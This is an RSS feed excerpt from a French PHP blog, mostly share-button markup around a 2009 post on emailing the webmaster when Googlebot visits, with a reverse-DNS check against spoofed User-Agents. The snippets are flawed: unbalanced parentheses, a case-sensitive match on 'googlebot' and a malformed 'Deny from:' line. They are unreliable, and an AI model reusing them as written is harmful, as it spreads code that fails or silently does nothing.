	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;bodytext=Dans%20symfony%2C%20tous%20les%20param%C3%A8tres%20de%20configuration%20sont%20stock%C3%A9s%20dans%20des%20fichiers%20.yml%20%28settings.yml%2C%20app.yml%2C%20module.yml%2C%20logging.yml%2C%20and%20i18n.yml%29%2C%20ceux-ci%20sont%20accessibles%20via%20une%20classe%20sp%C3%A9ciale%20sfConfig%2C%20certains%20sont%20automatiquement%20utilis%C3" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Dans%20symfony%2C%20tous%20les%20param%C3%A8tres%20de%20configuration%20sont%20stock%C3%A9s%20dans%20des%20fichiers%20.yml%20%28settings.yml%2C%20app.yml%2C%20module.yml%2C%20logging.yml%2C%20and%20i18n.yml%29%2C%20ceux-ci%20sont%20accessibles%20via%20une%20classe%20sp%C3%A9ciale%20sfConfig%2C%20certains%20sont%20automatiquement%20utilis%C3" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&d=http://ping.fm/ref/?link=TARGET%26title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony%26body=Dans%20symfony%2C%20tous%20les%20param%C3%A8tres%20de%20configuration%20sont%20stock%C3%A9s%20dans%20des%20fichiers%20.yml%20%28settings.yml%2C%20app.yml%2C%20module.yml%2C%20logging.yml%2C%20and%20i18n.yml%29%2C%20ceux-ci%20sont%20accessibles%20via%20une%20classe%20sp%C3%A9ciale%20sfConfig%2C%20certains%20sont%20automatiquement%20utilis%C3" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&d=mailto:?subject=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;selection=Dans%20symfony%2C%20tous%20les%20param%C3%A8tres%20de%20configuration%20sont%20stock%C3%A9s%20dans%20des%20fichiers%20.yml%20%28settings.yml%2C%20app.yml%2C%20module.yml%2C%20logging.yml%2C%20and%20i18n.yml%29%2C%20ceux-ci%20sont%20accessibles%20via%20une%20classe%20sp%C3%A9ciale%20sfConfig%2C%20certains%20sont%20automatiquement%20utilis%C3" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;submitHeadline=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;submitSummary=Dans%20symfony%2C%20tous%20les%20param%C3%A8tres%20de%20configuration%20sont%20stock%C3%A9s%20dans%20des%20fichiers%20.yml%20%28settings.yml%2C%20app.yml%2C%20module.yml%2C%20logging.yml%2C%20and%20i18n.yml%29%2C%20ceux-ci%20sont%20accessibles%20via%20une%20classe%20sp%C3%A9ciale%20sfConfig%2C%20certains%20sont%20automatiquement%20utilis%C3&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/symfony/manipuler-les-parametres-de-configuration-dans-symfony.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Être notifié au passage du robot google sur son site</title>
		<link>http://www.mcherifi.org/developpement-web/php/etre-notifie-au-passage-du-robot-google-sur-son-site.html</link>
		<comments>http://www.mcherifi.org/developpement-web/php/etre-notifie-au-passage-du-robot-google-sur-son-site.html#comments</comments>
		<pubDate>Tue, 27 Oct 2009 22:56:59 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[googlebot]]></category>
		<category><![CDATA[notification passage google]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=367</guid>
		<description><![CDATA[TweetLe référencement est parmi les grands soucis qu&#8217;un webmaster ou blogueur peuvent avoir, A chaque fois qu&#8217;on rajoute du contenu, la question qui se pose est : Quand est ce que le robot de Google passera pour l&#8217;indexer ? Aujourd&#8217;hui j&#8217;ai eu l&#8217;idée de partager une petite astuce pour être alerté au passage de Google [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/php/etre-notifie-au-passage-du-robot-google-sur-son-site.html" data-text="Être notifié au passage du robot google sur son site" data-count="horizontal">Tweet</a><p><img src="http://www.mcherifi.org/wp-content/uploads/2009/10/googlebot1-150x150.jpg" alt="Google Bot" title="Google Bot" width="150" height="150" class="alignleft size-thumbnail wp-image-370" />Le référencement est parmi les grands soucis qu&#8217;un webmaster ou blogueur peuvent avoir, A chaque fois qu&#8217;on rajoute du contenu, la question qui se pose est : Quand est ce que le robot de Google passera pour l&#8217;indexer ? Aujourd&#8217;hui j&#8217;ai eu l&#8217;idée de partager une petite astuce pour être alerté au passage de Google sur votre site!</p>
<p>En fait pour indexer un site, google possède plusieurs robots (spider/crawler), ce sont des programmes qui tournent en boucle en parcourant le web et enregistrent tous les contenus qu&#8217;ils trouvent sur leurs chemin! Il en existe plusieurs :</p>
<ul>
<li>GoogleBot : c&#8217;est le robot qui indexe les pages de contenu</li>
<li>Googlebot-Image: celui qui indexe les images (images.google.com)</li>
<li>AdsBot-Google: le robot de Google Adsense</li>
<li>Mediapartners-Google: sert à indexer les sites et à proposer la publicité en conséquence dans le cadre d&#8217;une partenaria (exemple lycos)</li>
<li>&#8230;</li>
</ul>
<p>Il est possible de détecter le passage de l&#8217;un de ces robots sur son site, l&#8217;idée est de faire un test sur la variable global $_SERVER['UserAgent'], qui contient le nom du navigateur qui a effectué la requête HTTP!</p>
<p>Voici un bout de code pour envoyer un mail à chaque passage de GoogleBot sur votre site : </p>
<pre class="brush: php">
if(!empty($_SERVER[&#039;HTTP_USER_AGENT&#039;])
{
  if(strpos($_SERVER[&#039;HTTP_USER_AGENT&#039;], &#039;googlebot&#039;) !== false)
  {
    $webmastermail = &#039;webmaster@domain.ltd&#039;;
    mail($webmastermail, &#039;Alerte Googlebot&#039;,&quot;GoogleBot t&#039;as rendu visite sur la page : &quot; . $_SERVER[&#039;REQUEST_URI&#039;]);
   }
}
</pre>
<p>Et voilà, grâce à ce bout de code vous serai notifiés à chaque passage du robot Google sur votre site!</p>
<p>Parcontre ce n&#8217;est pas génial coté securité! Dans une requêtte HTTP l&#8217;entête HTTP_USER_AGENT est modifiable, du coup un utilisateur malveillant peut flooder votre boite mails avec un grand nombre de requêtes ayant UserAgent: Googlebot! La solution est de faire un lookup sur l&#8217;adresse IP envoyant la requête et résoudre le nom de domaine avec la fonction <a href="http://www.php.net/gethostbyaddr" target="_blank">gethostbyaddr</a>, si le nom de la machine ne correspond pas à *.googlebot.com pas d&#8217;envoi d&#8217;email ;)</p>
<pre class="brush: php">
if(!empty($_SERVER[&#039;HTTP_USER_AGENT&#039;])
{
  if(strpos($_SERVER[&#039;HTTP_USER_AGENT&#039;], &#039;googlebot&#039;) !== false)
  {
    if(preg_match(&#039;#.*?\.googlebot\.com$#&#039;,gethostbyaddr($_SERVER[&#039;REMOTE_ADDR&#039;])))
    {
      $webmastermail = &#039;webmaster@domain.ltd&#039;;
      mail($webmastermail, &#039;Alerte Googlebot&#039;,&quot;GoogleBot t&#039;as rendu visite sur la page : &quot; . $_SERVER[&#039;REQUEST_URI&#039;]);
    }
    else
    {
     // on peux bannir l&#039;adresse en la rajoutant au fichier .htaccess
    /* if(is_writable(&#039;.htaccess&#039;))
     {
       $h = fopen(&#039;.htaccess&#039;,&#039;a+&#039;);
       fwrite($h,&quot;\nDeny from: &quot;.$_SERVER[&#039;REMOTE_ADDR&#039;]);
       fclose($h);
      }
    */
    }
  }
}
</pre>
<p>A savoir que bannir l&#8217;utilisateur si le hostname ne correspond pas n&#8217;est pas une très bonne idée vu que google peut changer de domaine (*.googlebot.com), par contre ça vous évitera de recevoir un joli paquet d&#8217;emails, j&#8217;ai commenté cette partie du code pour éviter de bannir google si jamais *.googlebot.com change ;)</p>
<p>J&#8217;espère que cet astuce vous sera utile!</p>
<p>Bonne nuit!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&d=http://twitter.com/home?status=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&d=http://www.facebook.com/share.php?u=TARGET%26t=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;annotation=Le%20r%C3%A9f%C3%A9rencement%20est%20parmi%20les%20grands%20soucis%20qu%27un%20webmaster%20ou%20blogueur%20peuvent%20avoir%2C%20A%20chaque%20fois%20qu%27on%20rajoute%20du%20contenu%2C%20la%20question%20qui%20se%20pose%20est%20%3A%20Quand%20est%20ce%20que%20le%20robot%20de%20Google%20passera%20pour%20l%27indexer%20%3F%20Aujourd%27hui%20j%27ai%20eu%20l%27id%C3%A9e%20d" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;notes=Le%20r%C3%A9f%C3%A9rencement%20est%20parmi%20les%20grands%20soucis%20qu%27un%20webmaster%20ou%20blogueur%20peuvent%20avoir%2C%20A%20chaque%20fois%20qu%27on%20rajoute%20du%20contenu%2C%20la%20question%20qui%20se%20pose%20est%20%3A%20Quand%20est%20ce%20que%20le%20robot%20de%20Google%20passera%20pour%20l%27indexer%20%3F%20Aujourd%27hui%20j%27ai%20eu%20l%27id%C3%A9e%20d" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;bodytext=Le%20r%C3%A9f%C3%A9rencement%20est%20parmi%20les%20grands%20soucis%20qu%27un%20webmaster%20ou%20blogueur%20peuvent%20avoir%2C%20A%20chaque%20fois%20qu%27on%20rajoute%20du%20contenu%2C%20la%20question%20qui%20se%20pose%20est%20%3A%20Quand%20est%20ce%20que%20le%20robot%20de%20Google%20passera%20pour%20l%27indexer%20%3F%20Aujourd%27hui%20j%27ai%20eu%20l%27id%C3%A9e%20d" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Le%20r%C3%A9f%C3%A9rencement%20est%20parmi%20les%20grands%20soucis%20qu%27un%20webmaster%20ou%20blogueur%20peuvent%20avoir%2C%20A%20chaque%20fois%20qu%27on%20rajoute%20du%20contenu%2C%20la%20question%20qui%20se%20pose%20est%20%3A%20Quand%20est%20ce%20que%20le%20robot%20de%20Google%20passera%20pour%20l%27indexer%20%3F%20Aujourd%27hui%20j%27ai%20eu%20l%27id%C3%A9e%20d" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&d=http://ping.fm/ref/?link=TARGET%26title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site%26body=Le%20r%C3%A9f%C3%A9rencement%20est%20parmi%20les%20grands%20soucis%20qu%27un%20webmaster%20ou%20blogueur%20peuvent%20avoir%2C%20A%20chaque%20fois%20qu%27on%20rajoute%20du%20contenu%2C%20la%20question%20qui%20se%20pose%20est%20%3A%20Quand%20est%20ce%20que%20le%20robot%20de%20Google%20passera%20pour%20l%27indexer%20%3F%20Aujourd%27hui%20j%27ai%20eu%20l%27id%C3%A9e%20d" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&d=mailto:?subject=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;selection=Le%20r%C3%A9f%C3%A9rencement%20est%20parmi%20les%20grands%20soucis%20qu%27un%20webmaster%20ou%20blogueur%20peuvent%20avoir%2C%20A%20chaque%20fois%20qu%27on%20rajoute%20du%20contenu%2C%20la%20question%20qui%20se%20pose%20est%20%3A%20Quand%20est%20ce%20que%20le%20robot%20de%20Google%20passera%20pour%20l%27indexer%20%3F%20Aujourd%27hui%20j%27ai%20eu%20l%27id%C3%A9e%20d" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;submitHeadline=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;submitSummary=Le%20r%C3%A9f%C3%A9rencement%20est%20parmi%20les%20grands%20soucis%20qu%27un%20webmaster%20ou%20blogueur%20peuvent%20avoir%2C%20A%20chaque%20fois%20qu%27on%20rajoute%20du%20contenu%2C%20la%20question%20qui%20se%20pose%20est%20%3A%20Quand%20est%20ce%20que%20le%20robot%20de%20Google%20passera%20pour%20l%27indexer%20%3F%20Aujourd%27hui%20j%27ai%20eu%20l%27id%C3%A9e%20d&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
